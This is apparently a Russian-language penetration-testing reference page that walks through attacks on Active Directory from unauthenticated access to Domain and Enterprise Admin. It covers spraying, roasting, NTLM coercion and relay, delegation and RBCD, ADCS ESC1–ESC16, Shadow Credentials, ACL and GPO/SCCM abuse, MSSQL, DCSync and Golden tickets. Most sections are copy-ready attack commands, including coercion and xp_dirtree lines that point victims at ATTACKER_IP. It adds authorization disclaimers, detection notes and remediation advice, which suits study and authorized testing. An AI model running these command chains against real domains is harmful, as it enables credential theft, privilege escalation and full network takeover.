← ZavetSec Library
ZavetSec // AD Attack Reference

ATTACKING ACTIVE DIRECTORY

Углублённый справочник по атакам на Active Directory: полный путь от неаутентифицированного доступа до Domain Admin и Enterprise Admin, плюс современные векторы 2025–2026 — ADCS (ESC1–ESC16), делегирование, Shadow Credentials, RBCD, GPO/SCCM abuse, MSSQL lateral movement. Каждая техника: суть, предусловие, инструмент, команда, что увидит защита. Только авторизованный scope или своя лаба (GOAD).

ФОРМАТ: DEEP REFERENCE РАЗДЕЛОВ: 12 ФОКУС: ON-PREM AD SCOPE: AUTHORIZED ONLY
// 00

Введение и модель AD

Только авторизованный scope. Все техники ниже выполняются исключительно в рамках подписанного RoE/договора либо на собственной изолированной лабе. Лучший полигон для отработки всего документа — GOAD (Game of Active Directory): домены с реальными мисконфигами под каждый вектор. В РФ несанкционированный доступ — ст. 272–274 УК.

Зачем отдельный документ

Active Directory — сердце большинства корпоративных сетей, и именно AD-раздел определяет уровень внутреннего пентеста. Базовая цепочка (рекон → roasting → relay → DCSync) разобрана в основном справочнике (Codex). Здесь — глубина: современные identity-векторы, на которых строятся реальные внутренние тесты 2025–2026.

Карта атаки на домен

Типовой путь компрометации. Не линеен — это граф, и BloodHound показывает кратчайшее ребро к цели.

# Высокоуровневый поток
unauth      → энумерация, null/guest, anonymous LDAP, поиск имён
foothold    → первая учётка (spray / roast / relay / утечка)
recon       → BloodHound: где у меня права, куда ведут рёбра
escalate    → ADCS ESC / delegation / Shadow Creds / ACL abuse
lateral     → PtH / PtT / WinRM / WMI / MSSQL / SCCM
domain      → DCSync → krbtgt (Golden) / certs / trusts (Enterprise)

Ключевые понятия

ТерминЧто это
SID / RIDИдентификатор субъекта; RID 500 = встроенный администратор
TGT / TGSБилеты Kerberos: ticket-granting ticket / service ticket
SPNService Principal Name — привязка сервиса к аккаунту (цель Kerberoast)
NTLM-хэшХэш пароля; достаточен для аутентификации (Pass-the-Hash)
DACL / ACEПрава доступа к объектам AD — основа ACL-атак (GenericAll, WriteDACL и др.)
DC / krbtgtКонтроллер домена; krbtgt — аккаунт, чей хэш подписывает все TGT (Golden Ticket)
ADCS / CAСлужба сертификатов; сертификат может заменять пароль для аутентификации

Инструментарий раздела

ИнструментРоль
NetExec (nxc)Сетевой швейцарский нож: SMB/LDAP/WinRM/MSSQL, spray, дамп, исполнение
BloodHound CEГраф путей атаки; коллекторы SharpHound / bloodhound-python
ImpacketНабор Python-скриптов под протоколы Windows/AD
CertipyЭнумерация и эксплуатация ADCS (ESC1–ESC16), v5
RubeusОперации с Kerberos на хосте (roast, S4U, PtT)
Coercer / PetitPotamПринуждение аутентификации (coercion) для relay
bloodyAD / PowerViewЧтение/правка объектов и ACL домена
// 01

Энумерация и BloodHoundRecon

Цель — собрать максимум об объектах, правах и связях. Лучшая инвестиция времени: чем полнее граф, тем короче путь к DA.

Без учётки // null / guest / anonymous

# Имя домена, ОС, SMB-signing, наличие SMBv1
nxc smb 10.10.10.10

# null-сессия: пользователи и политика паролей (нужно перед любым brute)
nxc smb 10.10.10.10 -u '' -p '' --users --pass-pol
nxc smb 10.10.10.10 -u guest -p '' --rid-brute   # перечисление по RID-циклу

# Anonymous LDAP (если разрешён) -> объекты домена
nxc ldap 10.10.10.10 -u '' -p '' --query "(objectClass=user)" ""

# Имена пользователей по Kerberos (без пароля) -> для spray/roast
kerbrute userenum -d target.local --dc 10.10.10.10 users.txt
Зачем имена без пароля. Список валидных пользователей открывает AS-REP roasting (раздел 03) и password spraying (раздел 02) — оба не требуют пароля на старте. Поэтому сбор имён через --rid-brute / kerbrute — приоритет на unauth-этапе.

BloodHound // граф путей к привилегиям

Собирает объекты AD (пользователи, группы, компьютеры, ACL, сессии, доверия) и строит граф, где видны кратчайшие пути к Domain Admins. Превращает тысячи ACE в наглядную карту: «откуда я владею» → «куда это ведёт».

# Сбор удалённо (Python-коллектор), все методы
bloodhound-python -u user -p 'Passw0rd' -d target.local -ns 10.10.10.10 -c All --zip
#   -c All  все коллекции (вкл. ACL, сессии); -ns DNS-сервер (обычно DC)

# Сбор с хоста Windows (агентный коллектор)
.\SharpHound.exe -c All --zipfilename loot.zip

# Импорт .zip в BloodHound CE -> готовые/кастомные Cypher-запросы

Полезные встроенные запросы BloodHound CE: Shortest Paths to Domain Admins; Kerberoastable / AS-REP Roastable Users; Find Computers with Unconstrained Delegation; Shortest Path from Owned Principals. После пометки своих объектов как Owned ищи исходящие права (outbound control).

С учёткой // глубокая энумерация

# Где учётка валидна по парку (вход + локальный админ)
nxc smb 10.10.10.0/24 -u user -p 'Passw0rd'

# Группы, доступы к шарам, делегирование, описание учёток
nxc ldap 10.10.10.10 -u user -p 'Passw0rd' --groups
nxc ldap 10.10.10.10 -u user -p 'Passw0rd' --trusted-for-delegation
nxc ldap 10.10.10.10 -u user -p 'Passw0rd' -M user-desc   # пароли в description

# Полный LDAP-дамп для офлайн-анализа
ldapdomaindump -u 'TARGET\user' -p 'Passw0rd' 10.10.10.10
// 02

Первичный доступ к учёткамFoothold

Первая валидная учётка открывает граф. Источники: spraying, утечки/описания, перехват (раздел 04), roasting (раздел 03).

Password spraying // один пароль на много юзеров

В отличие от brute (много паролей на одного юзера), spraying пробует один-два пароля по всему списку — это обходит блокировку учёток, если держаться внутри порога политики. Поэтому сначала всегда --pass-pol.

# Сначала узнать порог блокировки (lockout threshold / observation window)
nxc smb 10.10.10.10 -u '' -p '' --pass-pol

# Спрей одним паролем по списку, останавливаться на успехе по каждому
nxc smb 10.10.10.10 -u users.txt -p 'Autumn2025!' --continue-on-success
#   типовые кандидаты: Season+Year+!, Company123, Welcome1, пустой

# Спрей по Kerberos (тише на уровне SMB-логов)
kerbrute passwordspray -d target.local --dc 10.10.10.10 users.txt 'Autumn2025!'
Лок-аут = сорванный заказ. Спрей с задержкой между раундами (observation window, часто 30 мин), не больше N-1 попыток на учётку. На реальном проекте параметры спрея согласуются отдельно.

Креды в открытом виде // description, шары, GPP

# Пароли в поле description учёток (частая находка)
nxc ldap 10.10.10.10 -u user -p 'pass' -M user-desc

# GPP cpassword в SYSVOL (старый, но всё ещё встречается) -> расшифровывается
nxc smb 10.10.10.10 -u user -p 'pass' -M gpp_password
nxc smb 10.10.10.10 -u user -p 'pass' -M gpp_autologin

# Поиск секретов в доступных шарах
nxc smb 10.10.10.10 -u user -p 'pass' -M spider_plus
// 03

Kerberos: roastingKerberos

Две классические оффлайн-атаки на пароли через Kerberos. Обе дают хэш для брута без обращения к самой учётке.

AS-REP Roasting // юзеры без преаутентификации

Если у аккаунта снят флаг преаутентификации (DONT_REQUIRE_PREAUTH), KDC выдаёт зашифрованную паролем часть AS-REP любому — без знания пароля. Брутим оффлайн. Учётка для запроса не нужна (достаточно списка имён).

# Без учётки: по списку имён
impacket-GetNPUsers target.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10

# С учёткой: автоматически найти всех уязвимых
impacket-GetNPUsers target.local/user:pass -request -dc-ip 10.10.10.10

# Брут (hashcat mode 18200)
hashcat -m 18200 asrep.hash rockyou.txt

Kerberoasting // сервисные аккаунты с SPN

Любая доменная учётка может запросить TGS для сервиса с SPN. Часть TGS зашифрована паролем сервисного аккаунта — брутим оффлайн. Сервисные учётки часто имеют слабые/старые пароли и высокие права.

impacket-GetUserSPNs target.local/user:pass -dc-ip 10.10.10.10 -request
#   без -request -- только список SPN-аккаунтов (разведка целей)

# С хоста через Rubeus
.\Rubeus.exe kerberoast /outfile:tgs.txt

# Брут (hashcat mode 13100)
hashcat -m 13100 tgs.hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Атакаhashcat -mПредусловиеУчётка нужна?
AS-REP Roast18200DONT_REQUIRE_PREAUTH у целинет (только имена)
Kerberoast13100у цели задан SPNда (любая доменная)
Что увидит защита. Kerberoast = всплеск TGS-запросов (Event 4769) с RC4 (тип шифрования 0x17); AS-REP — 4768 без преаутентификации. Зрелый SOC ловит именно аномальный объём и RC4. Запрос с шифрованием AES тише.
// 04

Coercion и NTLM relayRelay

Заставить машину/DC аутентифицироваться к нам (coercion), затем переслать (relay) эту аутентификацию на сервис без защиты подписью. Один из самых мощных безпарольных путей.

Перехват: Responder // отравление LLMNR/NBT-NS/mDNS

Отвечает на broadcast-запросы разрешения имён, выдавая себя за искомый хост, и собирает NetNTLMv2-хэши обратившихся. Хэши брутятся (mode 5600) или релеятся.

sudo responder -I eth0 -wd            # -w WPAD-rogue, -d ответы на запросы домена
# перехваченные NetNTLMv2 -> hashcat -m 5600

Coercion // принуждение аутентификации

Заставляет целевую машину (часто сам DC) подключиться к атакующему по различным RPC-методам. В связке с relay даёт компрометацию без единого пароля.

# Универсальный мультиметодный coercer
coercer coerce -t DC01 -l ATTACKER_IP -u user -p pass -d target.local

# Точечные классические методы
PetitPotam.py -u user -p pass -d target.local ATTACKER_IP DC01   # MS-EFSRPC
printerbug.py target.local/user:pass@DC01 ATTACKER_IP            # MS-RPRN (spooler)

Relay: ntlmrelayx // пересылка аутентификации

# Релей на SMB без signing -> дамп SAM / исполнение
impacket-ntlmrelayx -tf targets.txt -smb2support

# Релей на LDAP(S) -> правка объектов (RBCD / Shadow Creds, см. разделы 05/07)
impacket-ntlmrelayx -t ldaps://DC01 --delegate-access      # настроить RBCD
impacket-ntlmrelayx -t ldaps://DC01 --shadow-credentials --shadow-target victim$

# Релей на ADCS Web Enrollment (ESC8) -> сертификат от имени жертвы
impacket-ntlmrelayx -t http://CA01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Связки решают. Coercion + relay на LDAPS = RBCD/Shadow Creds без пароля; coercion DC + relay на ADCS (ESC8) = сертификат DC → компрометация домена. Это и есть «современный AD»: цепочки, а не одиночные эксплойты. Условие — отсутствие защит (SMB signing, EPA/Channel Binding, LDAP signing).
// 05

Делегирование: Unconstrained / Constrained / RBCDDelegation

Делегирование Kerberos позволяет сервису действовать от имени пользователя. Мисконфиги превращают это в путь к эскалации и к выдаче себя за привилегированные учётки.

Unconstrained Delegation // TGT в памяти

Хост с unconstrained delegation хранит в памяти TGT каждого, кто к нему аутентифицируется. Скомпрометировав такой хост и принудив (coercion) к нему DC, можно захватить TGT DC.

# Найти хосты с unconstrained delegation
nxc ldap DC01 -u user -p pass --trusted-for-delegation

# На скомпрометированном хосте: слушать TGT, затем coerce DC (раздел 04)
.\Rubeus.exe monitor /interval:5 /nowrap     # перехват входящих TGT
# полученный TGT DC -> DCSync (раздел 11)

Constrained Delegation // S4U2Self + S4U2Proxy

Аккаунт с constrained delegation к сервису может через протокол S4U запросить билет к этому сервису от имени любого пользователя (включая админа), если не задан protocol transition контроль.

# Найти аккаунты с constrained delegation (msDS-AllowedToDelegateTo)
findDelegation.py target.local/user:pass -dc-ip 10.10.10.10

# S4U: получить билет к целевому SPN от имени Administrator
impacket-getST -spn cifs/target-host -impersonate Administrator target.local/svc:pass
export KRB5CCNAME=Administrator.ccache       # использовать билет
impacket-wmiexec -k -no-pass target-host

RBCD // Resource-Based Constrained Delegation

Если есть право записи (GenericWrite/GenericAll) на объект компьютера, можно прописать ему msDS-AllowedToActOnBehalfOfOtherIdentity на подконтрольный аккаунт и затем через S4U выдать себя за админа на этой машине. Один из самых частых современных путей эскалации.

# 1) создать подконтрольный компьютер-аккаунт (по умолчанию MachineAccountQuota=10)
impacket-addcomputer target.local/user:pass -computer-name EVIL$ -computer-pass 'P@ss123'

# 2) прописать RBCD на целевой машине (нужно право записи на её объект)
impacket-rbcd target.local/user:pass -delegate-from EVIL$ -delegate-to TARGET$ -action write

# 3) S4U: билет к TARGET от имени Administrator
impacket-getST -spn cifs/TARGET.target.local -impersonate Administrator target.local/EVIL$:'P@ss123'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.target.local
ТипПредусловиеЧто даёт
Unconstrainedконтроль хоста с флагом + coercionTGT любого, кто аутентифицируется (вкл. DC)
Constrainedконтроль аккаунта с msDS-AllowedToDelegateToimpersonation к разрешённому SPN
RBCDправо записи на объект компьютераimpersonation админа на этой машине
// 06

ADCS: ESC1–ESC16Certificates

Active Directory Certificate Services присутствует в большинстве корпоративных доменов и почти всегда сконфигурирован с ошибками. Сертификат может заменять пароль для аутентификации, а валиден он остаётся даже после смены пароля — отсюда мощь и скрытность этих атак.

Актуальность 2025–2026. Исходное исследование SpecterOps «Certified Pre-Owned» (2021) описывало 8 техник (ESC1–ESC8); к 2025 сообщество выделило 16 (ESC1–ESC16), а Certipy v5 добавил поддержку ESC9–ESC16. Важный нюанс: с февраля 2025 контроллеры по умолчанию переходят в Full Enforcement mode строгого сопоставления сертификатов (KB5014754) — это ломает часть spoofing-сценариев (ESC9/ESC10/Certifried) на пропатченных DC. Проверяй режим перед эксплуатацией.

Энумерация // Certipy find

Первый шаг всегда — найти уязвимые шаблоны и настройки CA. Certipy перечисляет всё и помечает уязвимое.

certipy-ad find -u user@target.local -p pass -dc-ip 10.10.10.10 -vulnerable -stdout
#   -vulnerable  показать только проблемные шаблоны/CA
#   -stdout      вывод в консоль (иначе .json/.txt отчёт)
# если вывод -vulnerable пуст -- редкий случай хорошо настроенного ADCS

Сводка ESC1–ESC16 // что это и чем берётся

ESCСуть мисконфигаУсловие/инструмент
ESC1Шаблон с client-auth EKU + ENROLLEE_SUPPLIES_SUBJECT → запросить серт с произвольным SANenroll-право; Certipy
ESC2Шаблон с Any Purpose EKU (или без EKU) → серт на что угодноenroll-право
ESC3Enrollment Agent EKU → запрос серта от имени другогодвухэтапно
ESC4Слабые ACL на шаблоне → дописать себе ESC1-условияWriteDACL/WriteOwner на шаблон
ESC5Слабые ACL на объектах PKI/CA в ADконтроль объектов CA
ESC6Флаг EDITF_ATTRIBUTESUBJECTALTNAME2 на CA → SAN на любом шаблоненастройка CA
ESC7Права управления CA (ManageCA/ManageCertificates)контроль CA
ESC8NTLM relay на Web Enrollment (HTTP) endpoint CAcoercion + ntlmrelayx
ESC9Отсутствие szOID security extension → подмена через UPN/маппингGenericWrite на жертву
ESC10Слабый registry-маппинг сертификатов на DCGenericWrite + условия
ESC11NTLM relay на ICertPassage (RPC) endpoint CArelay по RPC
ESC12Доступ к закрытому ключу CA на YubiHSM (shell на CA)shell на CA-сервере
ESC13Шаблон со связанным issuance policy → членство в привилег. группеenroll + policy-OID
ESC14Слабый explicit certificate mapping (altSecurityIdentities)write на маппинг-атрибут
ESC15EKUwu: application policies в v1-шаблоне + SUPPLIES_SUBJECTenroll; Certipy
ESC16Security extension отключён глобально на CA → массовый маппингнастройка CA

ESC1 // эталонная эскалация до DA

Самый частый и прямой путь: уязвимый шаблон разрешает запросившему задать произвольный SAN. Запрашиваем сертификат «от имени» администратора домена и аутентифицируемся им.

# 1) запросить серт с SAN = доменный админ
certipy-ad req -u user@target.local -p pass -dc-ip 10.10.10.10 \
  -ca TARGET-CA -template VulnTemplate -upn administrator@target.local
#   результат: administrator.pfx

# 2) аутентифицироваться сертификатом -> получить TGT и NT-хэш
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10
#   вернёт TGT + NT hash администратора -> DCSync / PtH

ESC8 // relay на Web Enrollment

Если у CA включён HTTP Web Enrollment без защиты (EPA), принуждаем DC аутентифицироваться и релеим на endpoint CA, получая сертификат компьютера DC — затем компрометируем домен.

# 1) релей на ADCS, шаблон DomainController
impacket-ntlmrelayx -t http://CA01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# 2) принудить DC аутентифицироваться к нам (раздел 04)
coercer coerce -t DC01 -l ATTACKER_IP -u user -p pass -d target.local

# 3) полученным сертом DC -> аутентификация -> DCSync
certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.10.10

Персистентность через сертификаты

# Серт валиден до истечения даже после смены пароля -> скрытная персистентность
# Кража закрытого ключа CA (при доступе к CA) -> Golden Certificate (форж любых сертов)
certipy-ad ca -backup -u admin@target.local -p pass -ca TARGET-CA
certipy-ad forge -ca-pfx CA.pfx -upn administrator@target.local
Severity. ADCS-векторы часто дают прыжок «low-priv → Domain/Enterprise Admin» за один-два шага и крайне устойчивы (сертификат переживает сброс пароля). В отчёте это критический риск с приоритетом ремедиации: аудит шаблонов (certutil -v -template), отзыв/переиздание, EPA на Web Enrollment, включение строгого маппинга (Full Enforcement), аудит выдачи сертов.
// 07

Shadow CredentialsKey Trust

Если есть право записи на атрибут msDS-KeyCredentialLink целевого объекта (GenericWrite/GenericAll), можно добавить свою пару ключей и аутентифицироваться как этот объект через PKINIT — без смены пароля и без сертификата CA.

pyWhisker / Certipy // добавить теневой ключ

# Добавить Key Credential к цели и сразу получить TGT + NT-хэш
certipy-ad shadow auto -u user@target.local -p pass -account victim$ -dc-ip 10.10.10.10
#   shadow auto: добавляет ключ, аутентифицируется, выводит NT hash, чистит за собой

# Вручную через pyWhisker (Linux)
pywhisker.py -d target.local -u user -p pass --target victim$ --action add
# затем PKINIT-аутентификация полученным .pfx (gettgtpkinit / certipy auth)
Почему это любят. Shadow Credentials — тихий и обратимый способ превратить «право записи на объект» (частый результат ACL-анализа в BloodHound) в полную аутентификацию как этот объект, без касания пароля. Связывается с relay на LDAPS (раздел 04) для безпарольной цепочки.
// 08

ACL / DACL abuseRights

Большая часть «неочевидных» путей к DA — это цепочки прав на объекты. BloodHound подсвечивает рёбра (ACE); ниже — как каждое ребро конвертируется в действие.

Право (ACE)На объектеЧто даёт
GenericAllпользовательсмена пароля / targeted Kerberoast / Shadow Cred
GenericAllкомпьютерRBCD / Shadow Cred
GenericAll/Writeгруппадобавить себя в группу
WriteDACLлюбойдописать себе любые права (напр. DCSync на домен)
WriteOwnerлюбойстать владельцем → выставить DACL
ForceChangePasswordпользовательсменить пароль цели
AddMemberгруппадобавить субъекта в группу

Эксплуатация прав // bloodyAD / net rpc / PowerView

# Добавить себя в привилегированную группу (право на группе)
bloodyAD -u user -p pass -d target.local --host DC01 add groupMember "Domain Admins" user

# Сменить пароль цели (GenericAll / ForceChangePassword)
bloodyAD -u user -p pass -d target.local --host DC01 set password victim 'NewP@ss1'

# Дописать себе право DCSync на домен (WriteDACL на корень домена)
bloodyAD -u user -p pass -d target.local --host DC01 add dcsync user

# Targeted Kerberoast (GenericAll на юзера): задать SPN -> roast -> убрать SPN
targetedKerberoast.py -u user -p pass -d target.local
// 09

GPO и SCCM abuseMgmt-plane

Системы управления — мощный множитель: контроль над GPO или SCCM/MECM даёт исполнение на множестве хостов сразу.

GPO abuse // право записи на политику

Право редактировать GPO, привязанную к OU с целевыми машинами/пользователями, позволяет добавить иммедиатную задачу/скрипт, исполняемый на всех объектах в зоне действия политики.

# Найти GPO, на которые у нас есть права записи (через BloodHound: GPO control edges)
# Эксплуатация: добавить immediate scheduled task через политику
pygpoabuse.py target.local/user:pass -gpo-id <GPO-GUID> -command 'add user / run payload'
# затем gpupdate на цели применит задачу (или ждём цикла обновления политики)

SCCM / MECM abuse // плоскость развёртывания ПО

SCCM управляет установкой ПО на парк. Частые векторы: извлечение Network Access Account (NAA) кред из политики клиента, релей на SCCM-роли, развёртывание приложения на коллекцию хостов.

# Профилирование и поиск SCCM в среде
sccmhunter.py find -u user -p pass -d target.local -dc-ip 10.10.10.10

# Извлечь NAA-креды (часто дают доступ к ресурсам)
sccmhunter.py http -u user -p pass -d target.local ...   # см. режимы инструмента
# дальнейшие векторы: relay на MP/SMS, deploy application на коллекцию
Почему это «реальные» цели. Критики справедливо отмечают: GPO и SCCM всё чаще встречаются на серьёзных внутренних тестах, потому что компрометация плоскости управления = массовое исполнение в одно действие. BloodHound (свежие версии) подсвечивает GPO-рёбра; для SCCM — отдельный класс инструментов (SCCMHunter).
// 10

MSSQL lateral movementSQL

MSSQL-серверы интегрированы с AD и часто становятся мостом: исполнение команд (xp_cmdshell), захват NetNTLM, и перемещение между серверами через доверенные связи (linked servers).

Доступ и исполнение // mssqlclient

# Найти MSSQL и проверить доступ доменной учёткой (Windows-auth)
nxc mssql 10.10.10.20 -u user -p pass --local-auth
nxc mssql 10.10.10.20 -u user -p pass -q "SELECT @@version"

# Интерактивный клиент (Windows-аутентификация)
impacket-mssqlclient target.local/user:pass@10.10.10.20 -windows-auth

# Исполнение команд через xp_cmdshell (если включён / можно включить)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

# Захват NetNTLM-хэша сервиса -> relay/брут
SQL> xp_dirtree \\ATTACKER_IP\share

Linked servers // доверенные связи между БД

SQL> enum_links                              # перечислить связанные серверы
SQL> use_link [LINKED-SQL]                  # выполнить контекст на связанном
# цепочка связей может вести к серверу с более высокими правами / sysadmin
// 11

Domain dominance и trustsGame over

Финальная стадия: извлечение всех секретов домена, персистентность и переход через доверия к другим доменам/лесу.

DCSync // репликация секретов

С правами репликации (DS-Replication-Get-Changes) можно запросить у DC хэши любых учёток, включая krbtgt — без захода на сам DC.

impacket-secretsdump target.local/admin:pass@DC01 -just-dc       # все доменные хэши
impacket-secretsdump target.local/admin:pass@DC01 -just-dc-user krbtgt   # только krbtgt

Персистентность // Golden / Silver / Diamond

БилетИз чего куётсяЧто даёт
Goldenхэш krbtgtTGT на любого, в т.ч. несуществующего; доступ ко всему домену
Silverхэш сервисного аккаунта/компьютераTGS к конкретному сервису (тише, без DC)
Diamondмодификация легитимного TGT (krbtgt)как Golden, но скрытнее для детекта
Golden Certificateзакрытый ключ CAфорж любых auth-сертов (ADCS-персистентность)
# Golden Ticket (на лабе / в согласованном scope)
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <SID> -domain target.local Administrator

Trusts // переход между доменами/лесом

nxc ldap DC01 -u user -p pass -M enum_trusts      # перечислить доверия
# child -> parent эскалация через SID History (трюк с Golden + extra SID)
impacket-raiseChild child.target.local/admin:pass      # авто child->forest root
Cleanup обязателен. Golden/Silver-билеты, RBCD-записи, Shadow-Cred ключи, RBCD-компьютеры, изменённые ACL и DCSync-права — всё это меняет состояние домена. Фиксируй каждое изменение и удаляй после теста; krbtgt при компрометации требует двойного сброса (рекомендация в отчёт). Любая персистентность на реальном проекте — только при явном согласовании в RoE.